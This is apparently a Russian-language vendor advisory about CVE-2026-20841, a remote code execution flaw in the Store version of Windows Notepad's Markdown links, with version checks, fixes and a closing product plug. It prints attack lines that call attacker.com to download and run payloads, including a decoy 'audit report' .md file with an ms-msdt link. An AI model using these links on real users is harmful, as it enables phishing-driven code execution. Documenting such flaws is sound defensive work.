
CVE-2026-20841: RCE в Windows Notepad через Markdown
Новый рендеринг Markdown в Блокноте Windows имеет критическую уязвимость. Специальный .md файл позволяет выполнить код по клику на ссылку.
Кратко
- RCE в современном Блокноте Windows (версия из Microsoft Store)
- Вредоносные Markdown-ссылки вызывают инъекцию команд по клику
- CVSS 8.8 — требуется взаимодействие пользователя, но эксплуатация тривиальна
- Исправление: обновить Блокнот через Microsoft Store до версии 11.2510+
Что такое CVE-2026-20841?
Уязвимость удалённого выполнения кода в современном Блокноте Windows. Движок Markdown не санитизирует URI-схемы в гиперссылках. Клик по специальной ссылке в .md файле — и Блокнот передаёт её напрямую системному шеллу.
Как это работает
Современный Блокнот парсит Markdown — жирный текст, заголовки, ссылки. Атакующие встраивают ссылку с кастомной протокольной схемой, указывающей на скрипт. Блокнот не валидирует URI, передаёт его обработчику протоколов ОС — payload выполняется.
# Нормальная Markdown-ссылка:
[Нажмите](https://example.com)
# Вредоносная — инъекция команд по клику:
[Открыть отчёт](powershell://command=Invoke-WebRequest%20-Uri%20http://attacker.com/shell.exe%20-OutFile%20C:/temp/shell.exe;Start-Process%20C:/temp/shell.exe)
# Жертва видит обычную ссылку "Открыть отчёт"
# Клик → PowerShell скачивает и запускает payloadВы уязвимы?
Проверьте версию Блокнота. Если из Microsoft Store и ниже 11.2510 — вы под угрозой.
# Проверка версии через PowerShell
Get-AppxPackage *Notepad* | Select-Object Name, Version
# Если Version < 11.2510.0.0 → УЯЗВИМ
# Классический notepad.exe НЕ затронутКлассический notepad.exe НЕ уязвим. Только версия из Microsoft Store с поддержкой Markdown.
Эксплойт — Полная цепочка
Атакующий отправляет .md файл по почте. Жертва открывает, видит профессиональный документ, кликает ссылку — готово.
cat > report.md << 'EOF'
# Отчёт аудита безопасности Q4
Статус: **ЗАВЕРШЁН** | Классификация: Внутренний
## Итоги
Все системы прошли базовые проверки.
[Открыть полный отчёт](ms-msdt:/id PCWDiagnostic /skip force /param "IT_RBrowseForFile=$(IEX(IWR -Uri http://attacker.com/payload.ps1))")
---
*Сгенерировано SecurityBot v4.2*
EOF
# Жертва открывает → кликает → PowerShell выполняет payloadИсправление
Обновите немедленно. Заблокируйте, если не можете обновить.
# Обновить Блокнот
winget upgrade "Windows Notepad"
# Или временно: привязать .md к legacy notepad
assoc .md=txtfile
ftype txtfile=C:\Windows\System32\notepad.exe %1Обновите до 11.2510+. Если нельзя — откатите .md на классический notepad.exe.
Сканируйте с TEPTEZ. Найдите это раньше атакующих.
TEPTEZ сканирует endpoint-ы на уязвимые версии приложений, необновлённое ПО и эксплуатируемые конфигурации. Попробуйте наш DAST AI — сканирует, находит и даёт готовое исправление.
Попробовать TEPTEZ